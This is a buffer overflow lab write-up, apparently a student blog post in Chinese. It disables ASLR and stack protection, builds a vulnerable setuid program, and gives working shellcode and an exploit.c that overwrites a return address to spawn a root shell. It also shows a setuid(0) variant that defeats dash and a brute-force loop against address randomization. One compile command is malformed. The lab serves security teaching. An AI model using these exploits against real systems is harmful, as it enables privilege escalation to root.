Advertisement

Buffer Overflow Vulnerability Lab

阅读量:

Buffer Overflow Vulnerability Lab

2.1 Turning Off Countermeasures

停用地址随机化机制

复制代码
    $ sudo sysctl -w kernel.randomize_va_space=0
    
    
      
    

在编译阶段实施地址保护功能的关闭操作

复制代码
    $ gcc -fno-stack-protector example.c
    
    
      
    

可执行栈(executable stacks)

复制代码
>     $ gcc -z execstack -o test test.c
>  
>  
>       
>  
> ```

>
>
>
> For non-executable stack:
>
>
复制代码
$ gcc -z noexecstack -o test test.c
复制代码

Configuring /bin/sh (Ubuntu 16.04 VM only).

复制代码
    $ sudo ln -sf /bin/zsh /bin/sh
    
    
      
    

2.2 Task 1: Running Shellcode

复制代码
    //call_shellcode.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    const char code[] = 
     "\x31\xc0"
     "\x50"
     "\x68""//sh"
     "\x68""/bin"
     "\x89\xe3"
     "\x50"
     "\x53"
     "\x89\xe1"
     "\x99"
     "\xb0\x0b"
     "\xcd\x80"
    ;
    
    int main(int argc, char **argv)
    {
    	char buf[sizeof(code)];
    	strcpy(buf, code);
    	((void(*)( ))buf)( );
    }
    
    
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
    

进行编译处理并实施权重分配

复制代码
    $ gcc -z execstack -o call_shellcode call_shellcode.c
    $ sudo chown root call_shellcode
    $ sudo chmod 4755 call_shellcode
    
    
      
      
      
    

执行成果:成功获取root权限
结论:call_shellcode能够执行/bin/sh命令

在这里插入图片描述

2.3 The Vulnerable Program

复制代码
    //stack.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    #ifndef BUF_SIZE
    #define BUF_SIZE 24
    #endif
    
    int bof(char *str)
    {
    	char buffer[BUF_SIZE];
    
    	strcpy(buffer,str);
    
    	return 1;
    }
    
    int main(int argc, char **argv)
    {
    	char str[517];
    	FILE *badfile;
    
    	char dummy[BUF_SIZE];	memset(dummy, 0, BUF_SIZE);
    
    	badfile = fopen("badfile", "r");
    	fread(str, sizeof(char), 517, badfile);
    	bof(str);
    	printf("Returned Properly\n");
    	return 1;
    }
    
    
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
    

在栈空间中对一段文件内容进行复制操作时,strcpy函数未对边界进行校验,因此存在越界覆盖的风险
功能:使badfile返回的指针指向即将被执行的恶意代码段

复制代码
    $ gcc -o stack -z execstack -fno-stack-protector stack.c
    $ sudo chown root stack 
    $ sudo chmod 4755 stack
    
    
      
      
      
    

2.4 Task 2: Exploiting the Vulnerability

复制代码
    ///exploit.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] = 
    	"\x31\xc0"
    	"\x50"
    	"\x68""//sh"
    	"\x68""/bin"
    	"\x89\xe3"
    	"\x50"
    	"\x53"
    	"\x89\xe1"
    	"\x99"
    	"\xb0\x0b"
    	"\xcd\x80"
    ;
    
    void main(int argc, char **argv)
    {
    	char buffer[517];
    	FILE *badfile;
    
    	memset(&buffer, 0x90, 517);
    	strcpy(buffer+100, shellcode);
    	strcpy(buffer+0x24, "\xbb\xf1\xff\xbf");
    
    	badfile = fopen("./badfile", "w");
    	fwrite(buffer, 517, 1, badfile);
    	fclose(badfile);
    }
    
    
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
    

exploit.c文件的功能是生成一个名为badfile的文件,其中嵌入了一段具有破坏性的代码,而stack.c程序将借助该badfile对返回指针进行覆盖,使其指向恶意代码所在位置。

返回地址与buffer起始地址之间的相对位置:在进入bof函数之前,首先将函数参数str的地址压入栈中,接着是返回地址。随后进入函数内部,将ebp寄存器(旧值)压栈,并更新ebp(新值)以及调整esp以分配存储空间。通过反汇编代码分析可知,buffer起始地址与ebp之间的偏移量为0x20,因此到返回地址的偏移量则为0x24。
buffer的总容量为24字节,上述内容所占空间为8字节,上一帧指针占用4字节,因此总的偏移量为0x24。
在调试过程中设置断点时发现buffer的起始地址为0xbffff157,恶意代码相对于该地址的偏移量为100(即0x64),而返回地址相对于buffer起始位置的偏移量为36(即0x24)。
关于buffer初始化的操作:通过调用memset(&buffer, 0x90, 517);函数可以将buffer的内容填充为0x90字节。这个值对应的是NOP指令,在CPU执行过程中不会产生任何实际操作效果,只是指示CPU继续执行下一条指令。这种机制可以引导CPU逐步运行至目标恶意代码区域。

在这里插入图片描述
复制代码
    $ gcc -o exploit exploit.c
    $./exploit 		// create the badfile
    $./stack		// launch the attack by running the vulnerable program
    
    
      
      
      
    
攻击成功

a real root process, which is more powerful

复制代码
>     void main()
>     {
>       setuid(0); system("/bin/sh");
>     }
>  
>  
>       
>       
>       
>       
>  
> ```

实现对系统核心权限的完全掌控

>
>

* * *


## 2.5 Task 3: Defeating dash’s Countermeasure

/bin/dash解决了zsh存在的缺陷,当root用户权限与文件属主不匹配时,系统会自动降低权限,然而这一机制仍存在被利用进行攻击的可能。
复制代码
$ sudo ln -sf /bin/dash /bin/sh		//重定向到dash
复制代码
复制代码
//dash_shell_test
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(){
	char *argv[2];
	argv[0] = "/bin/sh";
	argv[1] = NULL;
	
	//setuid(0);
	execve("/bin/sh", argv, NULL);

	return 0;
}
复制代码
复制代码
//dash_shell_test_setuid0
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(){
	char *argv[2];
	argv[0] = "/bin/sh";
	argv[1] = NULL;
	
	setuid(0);
	execve("/bin/sh", argv, NULL);

	return 0;
}
复制代码
复制代码
//dash_shell_test_uid1001
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(){
	char *argv[2];
	argv[0] = "/bin/sh";
	argv[1] = NULL;
	
	setuid(1001);
	execve("/bin/sh", argv, NULL);

	return 0;
}
复制代码
差异仅体现在第11行,通过euid的root权限将setuid设置为自身的目标用户标识,甚至可以直接取得root的权限

由于系统跳转至dash界面,因此badfile文件需进行相应调整
复制代码
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] = 
	"\x31\xc0"
	"\x31\xdb"
	"\xb0\xd5"
	"\xcd\x80"
	//以上四行为新添加的,其余不变
	"\x31\xc0"
	"\x50"
	"\x68""//sh"
	"\x68""/bin"
	"\x89\xe3"
	"\x50"
	"\x53"
	"\x89\xe1"
	"\x99"
	"\xb0\x0b"
	"\xcd\x80"
;

void main(int argc, char **argv)
{
	char buffer[517];
	FILE *badfile;

	memset(&buffer, 0x90, 517);
	strcpy(buffer+100, shellcode);
	strcpy(buffer+0x24, "\xbb\xf1\xff\xbf");

	badfile = fopen("./badfile", "w");
	fwrite(buffer, 517, 1, badfile);
	fclose(badfile);
}
复制代码
* * *


## 2.6 Task 4: Defeating Address Randomization

启用地址随机化机制虽能显著削弱攻击行为的实施概率,但并不能彻底杜绝其发生的可能,仍存在一定条件下成功实施的风险
复制代码
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
复制代码
复制代码
    #! /bin/bash
    
    SECONDS=0
    value=0
    
    while [ 1 ]
      do
      value=$(($value + 1))
      duration=$SECONDS
      min=$(($duration / 60))
      sec=$(($duration % 60))
      echo "$min minutes and $sec seconds elapsed. "
      echo "The program has been running $value times so far. "
      ./stack
    done
    
    
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
    

攻击行为已达成,然而相关脚本未能对所需时间进行有效记录

在这里插入图片描述

对脚本进行修正之后,其运行效率明显下降,持续较长时间的执行状态间接反映出攻击未能成功(由于攻击耗时过长,已丧失实际意义)

在这里插入图片描述

2.7 Task 5: Turn on the StackGuard Protection

复制代码
    //$ gcc -o stack -z execstack -fno-stack-protector stack.c
    $ gcc -o stack -z execstack stack.c
    $ sudo chown root stack 
    $ sudo chmod 4755 stack
    
    
      
      
      
      
    
在这里插入图片描述

2.非可执行栈保护启用

复制代码
    //$ gcc -o stack -z execstack -fno-stack-protector stack.c
    $ gcc -o stack noexecstack -z -fno-stack-protector stack.c
    $ sudo chown root stack 
    $ sudo chmod 4755 stack
    
    
      
      
      
      
    
在这里插入图片描述

3 Summary

  1. 存在安全隐患的strcpy函数可能引发缓冲区溢出问题,从而导致程序执行未经授权的恶意代码。
  2. 内存地址随机分配机制、内存访问保护策略以及禁止栈区执行代码等措施,均能在一定程度上防范缓冲区溢出攻击的发生。
  3. 对于具备setuid权限的程序而言,/bin/dash同样存在被成功攻击的风险。

全部评论 (0)

还没有任何评论哟~